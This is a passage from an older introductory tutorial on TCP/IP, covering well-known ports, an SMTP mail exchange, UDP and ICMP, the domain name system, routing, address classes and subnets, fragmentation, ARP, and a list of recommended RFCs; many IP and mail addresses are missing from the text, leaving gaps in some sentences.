several areas.  (For detailed descriptions of the items discussed here
see,  RFC  793  for  TCP,  RFC  791  for IP, and RFC's 894 and 826 for
sending IP over Ethernet.)

3. Well-known sockets and the applications layer

So far, we have described how a stream  of  data  is  broken  up  into
datagrams,  sent  to another computer, and put back together.  However
something more is needed  in  order  to  accomplish  anything  useful.
There  has  to  be  a  way for you to open a connection to a specified
computer, log into it, tell it what file you  want,  and  control  the
transmission  of  the  file.   (If you have a different application in
mind, e.g. computer mail, some analogous protocol is needed.)  This is
done  by  "application  protocols".  The application protocols run "on
top" of TCP/IP.  That is, when they want to send a message, they  give
the  message  to  TCP.   TCP makes sure it gets delivered to the other
end.  Because TCP and IP take care of all the networking details,  the

applications  protocols can treat a network connection as if it were a
simple byte stream, like a terminal or phone line.

Before going into more details about applications programs, we have to
describe how you find an application.  Suppose you want to send a file
to a computer whose Internet address  is    To  start  the
process,  you  need  more than just the Internet address.  You have to
connect to the FTP server at the  other  end.    In  general,  network
programs  are  specialized  for a specific set of tasks.  Most systems
have separate programs  to  handle  file  transfers,  remote  terminal
logins, mail, etc.  When you connect to, you have to specify
that you want to talk to the FTP server.    This  is  done  by  having
"well-known  sockets"  for  each  server.    Recall that TCP uses port
numbers to keep track of  individual  conversations.    User  programs
normally  use more or less random port numbers.  However specific port
numbers are assigned to the programs that sit  waiting  for  requests.
For  example,  if  you  want  to send a file, you will start a program
called "ftp".  It will open a connection using some random number, say
1234,  for  the  port number on its end.  However it will specify port
number 21 for the other end.  This is the official port number for the
FTP server.  Note that there are two different programs involved.  You
run ftp on your side.  This is a program designed to  accept  commands
from  your  terminal  and  pass them on to the other end.  The program
that you talk to on the other machine  is  the  FTP  server.    It  is
designed  to  accept commands from the network connection, rather than
an interactive terminal.  There is no need for your program to  use  a
well-known  socket  number  for  itself.  Nobody is trying to find it.
However the servers have to have well-known numbers,  so  that  people
can  open  connections  to  them and start sending them commands.  The
official  port  numbers  for  each  program  are  given  in  "Assigned

Note  that  a  connection is actually described by a set of 4 numbers:
the Internet address at each end, and the TCP port number at each end.
Every  datagram  has  all  four of those numbers in it.  (The Internet
addresses are in the IP header, and the TCP port numbers  are  in  the
TCP header.)  In order to keep things straight, no two connections can
have the same set of numbers.  However it is enough for any one number
to  be  different.    For  example,  it  is perfectly possible for two
different users on a machine to be sending files  to  the  same  other
machine.    This  could  result  in  connections  with  the  following

                   Internet addresses         TCP ports
    connection 1,      1234, 21
    connection 2,      1235, 21

Since the same machines are involved, the Internet addresses  are  the
same.    Since  they  are  both  doing  file transfers, one end of the
connection involves the well-known port number  for  FTP.    The  only
thing  that  differs is the port number for the program that the users
are running.  That's enough of a difference.  Generally, at least  one
end  of  the  connection asks the network software to assign it a port
number that is guaranteed to be unique.   Normally,  it's  the  user's
end, since the server has to use a well-known number.                                  13

Now  that  we  know  how  to  open  connections, let's get back to the
applications programs.  As mentioned earlier, once TCP  has  opened  a
connection,  we  have  something  that might as well be a simple wire.
All the hard parts are handled by TCP and IP.  However we  still  need
some  agreement  as  to  what we send over this connection.  In effect
this is simply an agreement on what set of  commands  the  application
will  understand,  and  the  format  in  which  they  are  to be sent.
Generally, what is sent is a combination of commands and data.    They
use  context  to  differentiate.  For example, the mail protocol works
like this: Your mail program opens a connection to the mail server  at
the  other end.  Your program gives it your machine's name, the sender
of the message, and the recipients you want it sent to.  It then sends
a  command saying that it is starting the message.  At that point, the
other end  stops  treating  what  it  sees  as  commands,  and  starts
accepting  the  message.  Your end then starts sending the text of the
message.  At the end of the message, a special mark is sent (a dot  in
the first column).  After that, both ends understand that your program
is again sending commands.  This is the simplest way to do things, and
the one that most applications use.

File  transfer  is  somewhat more complex.  The file transfer protocol
involves two different connections.  It starts  out  just  like  mail.
The user's program sends commands like "log me in as this user", "here
is my password", "send me the file with this name".  However once  the
command  to  send  data is sent, a second connection is opened for the
data itself.  It would certainly be possible to send the data  on  the
same  connection,  as  mail does.  However file transfers often take a
long time.  The designers of the  file  transfer  protocol  wanted  to
allow  the  user  to  continue  issuing commands while the transfer is
going on.  For example, the user might make an inquiry,  or  he  might
abort  the  transfer.    Thus  the designers felt it was best to use a
separate connection for  the  data  and  leave  the  original  command
connection  for  commands.    (It  is  also  possible  to open command
connections to two different computers, and tell them to send  a  file
from  one  to  the other.  In that case, the data couldn't go over the
command connection.)

Remote terminal connections use another mechanism still.   For  remote
logins,  there  is just one connection.  It normally sends data.  When
it is necessary to send a command (e.g. to set the terminal type or to
change  some  mode),  a special character is used to indicate that the
next character is a command.  If the user happens to type that special
character as data, two of them are sent.

We  are  not  going to describe the application protocols in detail in
this document.  It's better to read the RFC's yourself.  However there
are  a  couple of common conventions used by applications that will be
described here.  First, the common network representation:  TCP/IP  is
intended  to  be  usable  on  any  computer.    Unfortunately, not all
computers agree on how data is represented.  There are differences  in
character  codes  (ASCII  vs.  EBCDIC),  in  end  of  line conventions
(carriage return, line feed, or a representation using counts), and in
whether  terminals expect characters to be sent individually or a line
at a time.   In  order  to  allow  computers  of  different  kinds  to
communicate,   each   applications   protocol   defines   a   standard

representation.    Note  that  TCP  and  IP  do  not  care  about  the
representation.    TCP  simply  sends octets.  However the programs at
both ends have to agree on how the octets are to be interpreted.   The
RFC  for  each  application  specifies the standard representation for
that application.  Normally it  is  "net  ASCII".    This  uses  ASCII
characters,  with end of line denoted by a carriage return followed by
a line feed.  For remote login,  there  is  also  a  definition  of  a
"standard terminal", which turns out to be a half-duplex terminal with
echoing happening on the local machine.  Most applications  also  make
provisions  for  the  two  computers to agree on other representations
that they may find more convenient.  For example, PDP-10's have 36-bit
words.    There  is a way that two PDP-10's can agree to send a 36-bit
binary file.  Similarly, two systems that prefer full-duplex  terminal
conversations  can  agree  on  that.    However each application has a
standard representation, which every machine must support.

3.1 An example application: SMTP

In order to give a bit better idea what is involved in the application
protocols,  I'm  going  to  show an example of SMTP, which is the mail
protocol.  (SMTP is "simple mail transfer protocol.)  We assume that a
computer called TOPAZ.RUTGERS.EDU wants to send the following message.

  Date: Sat, 27 Jun 87 13:26:31 EDT
  Subject: meeting

  Let's get together Monday at 1pm.

First,  note  that the format of the message itself is described by an
Internet standard (RFC 822).  The standard specifies the fact that the
message  must be transmitted as net ASCII (i.e. it must be ASCII, with
carriage return/linefeed to delimit lines).   It  also  describes  the
general  structure, as a group of header lines, then a blank line, and
then the body of the message.  Finally, it describes the syntax of the
header  lines in detail.  Generally they consist of a keyword and then
a value.

Note  that  the  addressee  is  indicated   as   LEVY@RED.RUTGERS.EDU.
Initially,  addresses were simply "person at machine".  However recent
standards have made things more flexible.  There  are  now  provisions
for  systems  to handle other systems' mail.  This can allow automatic
forwarding on behalf of computers not connected to the Internet.    It
can be used to direct mail for a number of systems to one central mail
server.  Indeed there is no requirement that an actual computer by the
name  of RED.RUTGERS.EDU even exist.  The name servers could be set up
so that you mail to department names, and each  department's  mail  is
routed  automatically to an appropriate computer.  It is also possible
that the part before the @ is something other than a user name.  It is
possible  for  programs  to be set up to process mail.  There are also
provisions  to  handle  mailing  lists,  and  generic  names  such  as

"postmaster" or "operator".

The  way  the  message is to be sent to another system is described by
RFC's 821 and 974.  The program that is going to be doing the  sending
asks  the  name server several queries to determine where to route the
message.  The first query is to find out which  machines  handle  mail
for  the  name RED.RUTGERS.EDU.  In this case, the server replies that
RED.RUTGERS.EDU handles its own mail.  The program then asks  for  the
address of RED.RUTGERS.EDU, which is  Then the mail program
opens a TCP connection to port 25  on    Port  25  is  the
well-known  socket  used  for receiving mail.  Once this connection is
established, the mail program starts sending  commands.    Here  is  a
typical  conversation.  Each line is labelled as to whether it is from
TOPAZ or RED.  Note that TOPAZ initiated the connection:

    RED    220 RED.RUTGERS.EDU SMTP Service at 29 Jun 87 05:17:18 EDT
    TOPAZ  MAIL From:<>
    RED    250 MAIL accepted
    TOPAZ  RCPT To:<>
    RED    250 Recipient accepted
    RED    354 Start mail input; end with <CRLF>.<CRLF>
    TOPAZ  Date: Sat, 27 Jun 87 13:26:31 EDT
    TOPAZ  From:
    TOPAZ  To:
    TOPAZ  Subject: meeting
    TOPAZ  Let's get together Monday at 1pm.
    TOPAZ  .
    RED    250 OK
    RED    221 RED.RUTGERS.EDU Service closing transmission channel

First, note that commands all use normal text.  This is typical of the
Internet  standards.    Many  of  the  protocols  use  standard  ASCII
commands.  This makes it easy  to  watch  what  is  going  on  and  to
diagnose  problems.  For example, the mail program keeps a log of each
conversation.  If something goes wrong, the log  file  can  simply  be
mailed  to  the  postmaster.  Since it is normal text, he can see what
was going on.  It also allows a human to interact  directly  with  the
mail  server,  for  testing.  (Some newer protocols are complex enough
that this is not practical.  The commands would have to have a  syntax
that would require a significant parser.  Thus there is a tendency for
newer protocols to use binary formats.  Generally they are  structured
like  C or Pascal record structures.)  Second, note that the responses
all begin with numbers.  This is also typical of  Internet  protocols.
The  allowable  responses  are  defined  in the protocol.  The numbers
allow the user program to respond unambiguously.    The  rest  of  the
response  is  text,  which is normally for use by any human who may be
watching or looking at a log.  It has no effect on  the  operation  of
the  programs.  (However there is one point at which the protocol uses
part of the text of the response.)   The  commands  themselves  simply
allow  the  mail  program  on  one  end  to  tell  the mail server the

information it needs to know in order to deliver the message.  In this
case,  the  mail  server  could  get the information by looking at the
message itself.  But for more complex cases, that would not  be  safe.
Every  session  must  begin  with  a HELO, which gives the name of the
system that initiated the connection.  Then the sender and  recipients
are specified.  (There can be more than one RCPT command, if there are
several recipients.)  Finally the data itself is sent.  Note that  the
text  of the message is terminated by a line containing just a period.
(If such a line appears in the message, the period is doubled.)  After
the  message  is  accepted,  the  sender  can send another message, or
terminate the session as in the example above.

Generally, there is a pattern to the response numbers.   The  protocol
defines  the  specific set of responses that can be sent as answers to
any given command.  However programs that don't want to  analyze  them
in  detail  can  just  look at the first digit.  In general, responses
that begin with a 2  indicate  success.    Those  that  begin  with  3
indicate  that some further action is needed, as shown above.  4 and 5
indicate errors.  4 is a "temporary" error, such as  a  disk  filling.
The  message should be saved, and tried again later.  5 is a permanent
error, such as a  non-existent  recipient.    The  message  should  be
returned to the sender with an error message.

(For  more  details about the protocols mentioned in this section, see
RFC's 821/822 for mail, RFC 959 for file transfer, and  RFC's  854/855
for  remote  logins.  For the well-known port numbers, see the current
edition of Assigned Numbers, and possibly RFC 814.)

4. Protocols other than TCP: UDP and ICMP

So far, we have described only connections that use TCP.  Recall  that
TCP  is  responsible  for  breaking  up  messages  into datagrams, and
reassembling them properly.  However in  many  applications,  we  have
messages  that  will  always  fit in a single datagram.  An example is
name lookup.  When a user attempts to make  a  connection  to  another
system,  he  will  generally  specify  the system by name, rather than
Internet address.  His system has to translate that name to an address
before  it  can  do  anything.  Generally, only a few systems have the
database used to translate names to addresses.  So the  user's  system
will want to send a query to one of the systems that has the database.
This query is going to be very short.  It will certainly  fit  in  one
datagram.    So  will the answer.  Thus it seems silly to use TCP.  Of
course TCP does more than just break things up  into  datagrams.    It
also  makes  sure  that  the  data  arrives, resending datagrams where
necessary.  But for a question that fits  in  a  single  datagram,  we
don't  need  all the complexity of TCP to do this.  If we don't get an
answer after a few seconds, we can just ask again.   For  applications
like this, there are alternatives to TCP.

The most common alternative is UDP ("user datagram protocol").  UDP is
designed for applications where you don't need  to  put  sequences  of
datagrams  together.  It fits into the system much like TCP.  There is

a UDP header.  The network software puts the UDP header on  the  front
of  your  data, just as it would put a TCP header on the front of your
data.  Then UDP sends the data  to  IP,  which  adds  the  IP  header,
putting  UDP's  protocol number in the protocol field instead of TCP's
protocol number.  However UDP doesn't do as much  as  TCP  does.    It
doesn't  split data into multiple datagrams.  It doesn't keep track of
what it has sent so it can resend if necessary.  About  all  that  UDP
provides  is  port  numbers,  so  that several programs can use UDP at
once.  UDP port numbers are used just like TCP port  numbers.    There
are  well-known  port numbers for servers that use UDP.  Note that the
UDP header is shorter than a TCP header.   It  still  has  source  and
destination  port  numbers,  and  a checksum, but that's about it.  No
sequence number, since it is not needed.  UDP is used by the protocols
that  handle  name  lookups (see IEN 116, RFC 882, and RFC 883), and a
number of similar protocols.

Another  alternative  protocol  is  ICMP  ("Internet  control  message
protocol").    ICMP  is  used  for  error messages, and other messages
intended for the TCP/IP software itself, rather  than  any  particular
user  program.  For example, if you attempt to connect to a host, your
system may get back an ICMP message saying "host unreachable".    ICMP
can  also be used to find out some information about the network.  See
RFC 792 for details of ICMP.  ICMP is  similar  to  UDP,  in  that  it
handles messages that fit in one datagram.  However it is even simpler
than UDP.  It doesn't even have port numbers in its header.  Since all
ICMP  messages are interpreted by the network software itself, no port
numbers are needed to say where a ICMP message is supposed to go.

5. Keeping track of names and information: the domain system

As we indicated earlier, the network software generally needs a 32-bit
Internet  address  in  order  to open a connection or send a datagram.
However users prefer to deal with computer names rather than  numbers.
Thus  there  is  a database that allows the software to look up a name
and find the corresponding number.  When the Internet was small,  this
was  easy.  Each system would have a file that listed all of the other
systems, giving both their name and number.  There are  now  too  many
computers  for  this  approach to be practical.  Thus these files have
been replaced by a set of name servers that keep track of  host  names
and  the corresponding Internet addresses.  (In fact these servers are
somewhat more general than that.  This is just one kind of information
stored in the domain system.)  Note that a set of interlocking servers
are used, rather than a single central one.  There  are  now  so  many
different  institutions  connected  to  the  Internet that it would be
impractical for them to  notify  a  central  authority  whenever  they
installed  or moved a computer.  Thus naming authority is delegated to
individual institutions.  The name servers form a tree,  corresponding
to  institutional  structure.    The names themselves follow a similar
structure.  A typical example is the name BORAX.LCS.MIT.EDU.  This  is
a  computer  at  the Laboratory for Computer Science (LCS) at MIT.  In
order to find its Internet address,  you  might  potentially  have  to
consult  4  different  servers.  First, you would ask a central server

(called the root) where the EDU server is.  EDU is a server that keeps
track of educational institutions.  The root server would give you the
names and Internet addresses of several servers for EDU.   (There  are
several  servers  at  each  level,  to allow for the possibly that one
might be down.)  You would then ask EDU where the server for  MIT  is.
Again,  it  would  give  you  names  and Internet addresses of several
servers for MIT.  Generally, not all of those servers would be at MIT,
to  allow for the possibility of a general power failure at MIT.  Then
you would ask MIT where the server for LCS is, and finally  you  would
ask one of the LCS servers about BORAX.  The final result would be the
Internet address for BORAX.LCS.MIT.EDU.    Each  of  these  levels  is
referred  to  as  a  "domain".  The entire name, BORAX.LCS.MIT.EDU, is
called a "domain name".    (So  are  the  names  of  the  higher-level
domains, such as LCS.MIT.EDU, MIT.EDU, and EDU.)

Fortunately,  you  don't really have to go through all of this most of
the time.  First of all, the root name servers also happen to  be  the
name  servers  for  the  top-level domains such as EDU.  Thus a single
query to a root  server  will  get  you  to  MIT.    Second,  software
generally  remembers answers that it got before.  So once we look up a
name at LCS.MIT.EDU, our software remembers where to find servers  for
LCS.MIT.EDU,  MIT.EDU,  and EDU.  It also remembers the translation of
BORAX.LCS.MIT.EDU.  Each of these pieces of information has a "time to
live"  associated with it.  Typically this is a few days.  After that,
the information expires and has to be looked up again.    This  allows
institutions to change things.

The  domain  system  is not limited to finding out Internet addresses.
Each domain name is a node in a database.  The node can  have  records
that  define  a number of different properties.  Examples are Internet
address, computer type, and a list of services provided by a computer.
A  program  can  ask  for  a  specific  piece  of  information, or all
information about a given name.  It is possible  for  a  node  in  the
database  to  be  marked as an "alias" (or nickname) for another node.
It is also possible to use the  domain  system  to  store  information
about users, mailing lists, or other objects.

There  is  an  Internet  standard  defining  the  operation  of  these
databases, as well as the protocols used  to  make  queries  of  them.
Every  network utility has to be able to make such queries, since this
is now the official way to evaluate host names.   Generally  utilities
will talk to a server on their own system.  This server will take care
of contacting the other servers for them.  This keeps down the  amount
of code that has to be in each application program.

The  domain  system  is  particularly  important for handling computer
mail.  There are entry types to define what computer handles mail  for
a  given  name, to specify where an individual is to receive mail, and
to define mailing lists.

(See RFC's 882, 883, and 973 for specifications of the domain  system.
RFC 974 defines the use of the domain system in sending mail.)


6. Routing

The   description  above  indicated  that  the  IP  implementation  is
responsible for getting datagrams to the destination indicated by  the
destination address, but little was said about how this would be done.
The task of finding how to  get  a  datagram  to  its  destination  is
referred to as "routing".  In fact many of the details depend upon the
particular implementation.  However some general things can be said.

First, it is necessary to understand the model on which IP  is  based.
IP assumes that a system is attached to some local network.  We assume
that the system can send datagrams to any  other  system  on  its  own
network.    (In  the  case  of  Ethernet, it simply finds the Ethernet
address of the destination system, and puts the datagram  out  on  the
Ethernet.)    The  problem  comes  when  a  system  is asked to send a
datagram to a system on a different network.  This problem is  handled
by  gateways.   A gateway is a system that connects a network with one
or more other networks.  Gateways  are  often  normal  computers  that
happen  to have more than one network interface.  For example, we have
a Unix machine that has two different Ethernet interfaces.  Thus it is
connected  to networks 128.6.4 and 128.6.3.  This machine can act as a
gateway between those two networks.  The software on that machine must
be  set  up  so that it will forward datagrams from one network to the
other.  That is, if a machine on network 128.6.4 sends a  datagram  to
the  gateway,  and  the  datagram is addressed to a machine on network
128.6.3, the gateway will forward the  datagram  to  the  destination.
Major communications centers often have gateways that connect a number
of different  networks.    (In  many  cases,  special-purpose  gateway
systems provide better performance or reliability than general-purpose
systems acting as gateways.  A number of vendors sell such systems.)

Routing in IP is  based  entirely  upon  the  network  number  of  the
destination  address.    Each computer has a table of network numbers.
For each network number, a gateway is listed.  This is the gateway  to
be used to get to that network.  Note that the gateway doesn't have to
connect directly to the network.  It just has to be the best place  to
go  to  get there.  For example at Rutgers, our interface to NSFnet is
at the John von Neuman Supercomputer Center (JvNC). Our connection  to
JvNC  is  via  a  high-speed  serial line connected to a gateway whose
address is  Systems on net 128.6.3 will list as
the  gateway  for  many  off-campus  networks.  However systems on net
128.6.4 will list as the gateway to  those  same  off-campus
networks.  is  the  gateway  between networks 128.6.4 and
128.6.3, so it is the first step in getting to JvNC.

When a computer wants to send a datagram, it first checks  to  see  if
the  destination address is on the system's own local network.  If so,
the datagram can be sent directly.  Otherwise, the system  expects  to
find an entry for the network that the destination address is on.  The
datagram is sent to the gateway listed in that entry.  This table  can
get quite big.  For example, the Internet now includes several hundred
individual networks.  Thus various strategies have been  developed  to
reduce  the size of the routing table.  One strategy is to depend upon
"default routes".  Often, there is only one gateway out of a  network.

This  gateway might connect a local Ethernet to a campus-wide backbone
network.  In that case, we don't need to have  a  separate  entry  for
every  network  in  the  world.    We  simply define that gateway as a
"default".  When no specific  route  is  found  for  a  datagram,  the
datagram  is  sent to the default gateway.  A default gateway can even
be used when there are several gateways  on  a  network.    There  are
provisions  for  gateways  to  send a message saying "I'm not the best
gateway -- use this one instead."  (The message is sent via ICMP.  See
RFC  792.)  Most network software is designed to use these messages to
add entries to their routing tables.  Suppose network 128.6.4 has  two
gateways, and leads to several other
internal Rutgers networks. leads indirectly to the  NSFnet.
Suppose  we  set  as  a default gateway, and have no other
routing table entries.  Now what  happens  when  we  need  to  send  a
datagram  to  MIT?    MIT  is  network 18.  Since we have no entry for
network 18, the datagram will be sent to the default,   As
it  happens,  this  gateway  is the wrong one.  So it will forward the
datagram to  But it will also send back an error saying  in
effect: "to get to network 18, use".  Our software will then
add an entry to the routing table.  Any future datagrams to  MIT  will
then  go  directly to  (The error message is sent using the
ICMP protocol.  The message type is called "ICMP redirect.")

Most IP experts recommend that individual computers should not try  to
keep  track  of  the  entire network.  Instead, they should start with
default gateways, and let the gateways tell them the routes,  as  just
described.   However this doesn't say how the gateways should find out
about the routes.  The gateways can't depend upon this strategy.  They
have  to  have fairly complete routing tables.  For this, some sort of
routing protocol is needed.  A routing protocol is simply a  technique
for  the  gateways  to  find each other, and keep up to date about the
best way to get to every network.   RFC  1009  contains  a  review  of
gateway  design  and  routing.    However rip.doc is probably a better
introduction to the subject.  It contains some tutorial material,  and
a detailed description of the most commonly-used routing protocol.

7. Details about Internet addresses: subnets and broadcasting

As  indicated earlier, Internet addresses are 32-bit numbers, normally
written as 4 octets (in decimal), e.g.  There are  actually
3  different types of address.  The problem is that the address has to
indicate both the network and the host within the  network.    It  was
felt  that  eventually  there would be lots of networks.  Many of them
would be small, but probably 24 bits would be needed to represent  all
the  IP  networks.  It was also felt that some very big networks might
need 24 bits to represent all of their hosts.  This would seem to lead
to  48  bit  addresses.  But the designers really wanted to use 32 bit
addresses.  So they adopted a kludge.  The assumption is that most  of
the  networks will be small.  So they set up three different ranges of
address.  Addresses beginning with 1 to 126 use only the  first  octet
for  the network number.  The other three octets are available for the
host number.  Thus 24 bits are available for hosts.  These numbers are

used  for large networks.  But there can only be 126 of these very big
networks.  The Arpanet is one, and there are a  few  large  commercial
networks.    But  few  normal organizations get one of these "class A"
addresses.  For normal large organizations, "class  B"  addresses  are
used.    Class  B  addresses  use the first two octets for the network
number.  Thus network numbers are 128.1 through 191.254.  (We avoid  0
and  255,  for  reasons  that  we  see below.  We also avoid addresses
beginning with 127, because that is used by some systems  for  special
purposes.)    The  last  two  octets  are available for host addesses,
giving 16 bits of host address.   This  allows  for  64516  computers,
which should be enough for most organizations.  (It is possible to get
more than one class B address, if you run  out.)    Finally,  class  C
addresses  use  three  octets,  in  the  range 192.1.1 to 223.254.254.
These allow only 254 hosts on each network, but there can be  lots  of
these  networks.   Addresses above 223 are reserved for future use, as
class D and E (which are currently not defined).

Many large organizations find it convenient to  divide  their  network
number into "subnets".  For example, Rutgers has been assigned a class
B address, 128.6.  We find it convenient to use the third octet of the
address to indicate which Ethernet a host is on.  This division has no
significance outside of Rutgers.  A computer  at  another  institution
would treat all datagrams addressed to 128.6 the same way.  They would
not look at the third octet of the address.   Thus  computers  outside
Rutgers  would  not have different routes for 128.6.4 or 128.6.5.  But
inside Rutgers, we treat 128.6.4 and 128.6.5 as separate networks.  In
effect, gateways inside Rutgers have separate entries for each Rutgers
subnet, whereas gateways outside  Rutgers  just  have  one  entry  for
128.6.  Note  that  we  could  do  exactly  the  same thing by using a
separate class C address for each Ethernet.   As  far  as  Rutgers  is
concerned,  it  would be just as convenient for us to have a number of
class C addresses.  However using class C addresses would make  things
inconvenient for the rest of the world.  Every institution that wanted
to talk to us would have to have a separate entry for each one of  our
networks.   If every institution did this, there would be far too many
networks for any reasonable gateway to keep track of.  By  subdividing
a  class B network, we hide our internal structure from everyone else,
and  save  them  trouble.    This  subnet  strategy  requires  special
provisions in the network software.  It is described in RFC 950.

0  and  255  have  special  meanings.  0 is reserved for machines that
don't know their address.  In certain circumstances it is possible for
a  machine not to know the number of the network it is on, or even its
own host address.  For example, would be a machine that  knew
it was host number 23, but didn't know on what network.

255  is  used for "broadcast".  A broadcast is a message that you want
every system on the network to see.    Broadcasts  are  used  in  some
situations  where you don't know who to talk to.  For example, suppose
you need to look  up  a  host  name  and  get  its  Internet  address.
Sometimes  you  don't know the address of the nearest name server.  In
that case, you might send the request as a broadcast.  There are  also
cases  where a number of systems are interested in information.  It is
then less expensive to send a single broadcast than to send  datagrams
individually  to  each host that is interested in the information.  In

order to send a broadcast, you use an address that is  made  by  using
your  network  address, with all ones in the part of the address where
the host number goes.  For example, if you are on network 128.6.4, you
would   use  for  broadcasts.    How  this  is  actually
implemented depends upon the medium.   It  is  not  possible  to  send
broadcasts  on the Arpanet, or on point to point lines.  However it is
possible on an Ethernet.  If you use an Ethernet address with all  its
bits  on (all ones), every machine on the Ethernet is supposed to look
at that datagram.

Although the official broadcast address for  network  128.6.4  is  now,  there  are  some  other addresses that may be treated as
broadcasts by certain implementations.  For convenience, the  standard
also  allows to be used.  This refers to all hosts on
the local network.  It is often simpler to use instead
of  finding out the network number for the local network and forming a
broadcast address such as   In  addition,  certain  older
implementations  may  use  0  instead  of  255  to  form the broadcast
address.    Such  implementations  would  use  instead   of  as  the  broadcast  address on network 128.6.4.  Finally,
certain older implementations may not understand about subnets.   Thus
they consider the network number to be 128.6.  In that case, they will
assume a broadcast address  of  or    Until
support  for  broadcasts is implemented properly, it can be a somewhat
dangerous feature to use.

Because 0 and 255 are used for unknown and broadcast addresses, normal
hosts  should never be given addresses containing 0 or 255.  Addresses
should never begin with 0, 127, or any number above  223.    Addresses
violating these rules are sometimes referred to as "Martians", because
of rumors that the Central University of Mars is using network 225.

8. Datagram fragmentation and reassembly

TCP/IP is designed for use  with  many  different  kinds  of  network.
Unfortunately,  network  designers  do not agree about how big packets
can be.  Ethernet packets can be 1500 octets long.    Arpanet  packets
have  a  maximum  of around 1000 octets.  Some very fast networks have
much larger packet sizes.  At first, you might think  that  IP  should
simply  settle  on  the  smallest  possible size.  Unfortunately, this
would cause serious performance problems.    When  transferring  large
files, big packets are far more efficient than small ones.  So we want
to be able to use the largest packet size possible.  But we also  want
to  be  able  to  handle  networks  with  small limits.  There are two
provisions for this.  First, TCP has the ability to "negotiate"  about
datagram  size.  When a TCP connection first opens, both ends can send
the maximum datagram size they can  handle.    The  smaller  of  these
numbers  is  used  for  the  rest  of the connection.  This allows two
implementations that can handle big datagrams to use  them,  but  also
lets  them  talk  to  implementations that can't handle them.  However
this doesn't completely solve the problem.  The most  serious  problem
is  that the two ends don't necessarily know about all of the steps in

between.  For example, when sending data between Rutgers and Berkeley,
it is likely that both computers will be on Ethernets.  Thus they will
both  be  prepared  to  handle  1500-octet  datagrams.    However  the
connection will at some point end up going over the Arpanet.  It can't
handle packets of that size.  For this reason, there are provisions to
split   datagrams   up   into   pieces.    (This  is  referred  to  as
"fragmentation".)  The IP header  contains  fields  indicating  the  a
datagram  has  been split, and enough information to let the pieces be
put back together.  If a gateway connects an Ethernet to the  Arpanet,
it must be prepared to take 1500-octet Ethernet packets and split them
into pieces that will fit on the Arpanet.    Furthermore,  every  host
implementation  of  TCP/IP  must  be prepared to accept pieces and put
them back together.  This is referred to as "reassembly".

TCP/IP implementations differ in the approach they take to deciding on
datagram  size.    It  is  fairly  common  for  implementations to use
576-byte datagrams whenever they can't verify that the entire path  is
able  to  handle larger packets.  This rather conservative strategy is
used because of the number of implementations with bugs in the code to
reassemble  fragments.    Implementors  often try to avoid ever having
fragmentation occur.  Different implementors take different approaches
to  deciding  when  it  is safe to use large datagrams.  Some use them
only for the local network.  Others will use them for any  network  on
the   same   campus.    576  bytes  is  a  "safe"  size,  which  every
implementation must support.

9. Ethernet encapsulation: ARP

There was a brief discussion earlier about what IP datagrams look like
on  an  Ethernet.    The  discussion  showed  the  Ethernet header and
checksum.  However it left one hole: It didn't say how to  figure  out
what Ethernet address to use when you want to talk to a given Internet
address.  In fact, there is a separate protocol for this,  called  ARP
("address  resolution protocol").  (Note by the way that ARP is not an
IP protocol.  That is, the ARP datagrams  do  not  have  IP  headers.)
Suppose  you  are  on  system  and you want to connect to
system  Your system will first verify that is  on
the  same network, so it can talk directly via Ethernet.  Then it will
look up in its ARP table, to see if  it  already  knows  the
Ethernet  address.    If  so, it will stick on an Ethernet header, and
send the packet.  But suppose this system is not  in  the  ARP  table.
There  is  no  way  to  send the packet, because you need the Ethernet
address.  So it  uses  the  ARP  protocol  to  send  an  ARP  request.
Essentially  an  ARP  request  says  "I  need the Ethernet address for".  Every system listens to ARP requests.  When a system sees
an  ARP  request  for itself, it is required to respond.  So
will see the request, and will respond with an  ARP  reply  saying  in
effect " is 8:0:20:1:56:34".  (Recall that Ethernet addresses
are 48 bits.  This is 6 octets.  Ethernet addresses are conventionally
shown  in  hex,  using  the punctuation shown.)  Your system will save
this information in its ARP table, so future packets will go directly.
Most  systems  treat the ARP table as a cache, and clear entries in it

if they have not been used in a certain period of time.

Note by the way that ARP requests must be sent as "broadcasts".  There
is  no  way  that  an  ARP  request  can be sent directly to the right
system.  After all, the whole reason for sending  an  ARP  request  is
that  you  don't know the Ethernet address.  So an Ethernet address of
all ones is  used,  i.e.  ff:ff:ff:ff:ff:ff.    By  convention,  every
machine  on  the Ethernet is required to pay attention to packets with
this as an address.  So every system sees every ARP  requests.    They
all  look to see whether the request is for their own address.  If so,
they respond.  If not, they could just ignore it.   (Some  hosts  will
use  ARP  requests  to update their knowledge about other hosts on the
network, even if the request isn't for them.)  Note that packets whose
IP  address  indicates broadcast (e.g. or
are also sent with an Ethernet address that is all ones.

10. Getting more information

This directory contains  documents  describing  the  major  protocols.
There  are literally hundreds of documents, so we have chosen the ones
that seem most important.  Internet standards are called RFC's.    RFC
stands  for  Request  for  Comment.   A proposed standard is initially
issued as a proposal, and given an RFC number.   When  it  is  finally
accepted,  it is added to Official Internet Protocols, but it is still
referred to by the RFC number.   We  have  also  included  two  IEN's.
(IEN's  used  to  be  a  separate  classification  for  more  informal
documents.  This classification no longer exists -- RFC's are now used
for  all  official  Internet documents, and a mailing list is used for
more informal reports.)  The convention is that  whenever  an  RFC  is
revised, the revised version gets a new number.  This is fine for most
purposes, but it causes problems with two documents: Assigned  Numbers
and  Official  Internet  Protocols.  These documents are being revised
all the time, so the RFC number keeps changing.  You will have to look
in rfc-index.txt to find the number of the latest edition.  Anyone who
is seriously interested in TCP/IP should read the  RFC  describing  IP
(791).    RFC 1009 is also useful.  It is a specification for gateways
to be used by NSFnet.  As such, it contains an overview of  a  lot  of
the  TCP/IP technology.  You should probably also read the description
of at least one of the application protocols, just to get a  feel  for
the  way  things  work.    Mail is probably a good one (821/822).  TCP
(793) is of course a very basic specification.  However  the  spec  is
fairly  complex,  so  you should only read this when you have the time
and patience to think about it carefully.  Fortunately, the author  of
the  major  RFC's  (Jon Postel) is a very good writer.  The TCP RFC is
far easier to read than you would expect, given the complexity of what
it  is  describing.    You  can  look at the other RFC's as you become
curious about their subject matter.

Here is a list of the documents you are more likely to want:

     rfc-index list of all RFC's


     rfc1012   somewhat fuller list of all RFC's

     rfc1011   Official Protocols.  It's useful to scan  this  to  see
               what tasks protocols have been built for.  This defines
               which  RFC's  are  actual  standards,  as  opposed   to
               requests for comments.

     rfc1010   Assigned  Numbers.  If you are working with TCP/IP, you
               will probably want a hardcopy of this as  a  reference.
               It's  not  very  exciting  to  read.   It lists all the
               offically defined well-known ports and  lots  of  other

     rfc1009   NSFnet  gateway  specifications.  A good overview of IP
               routing and gateway technology.

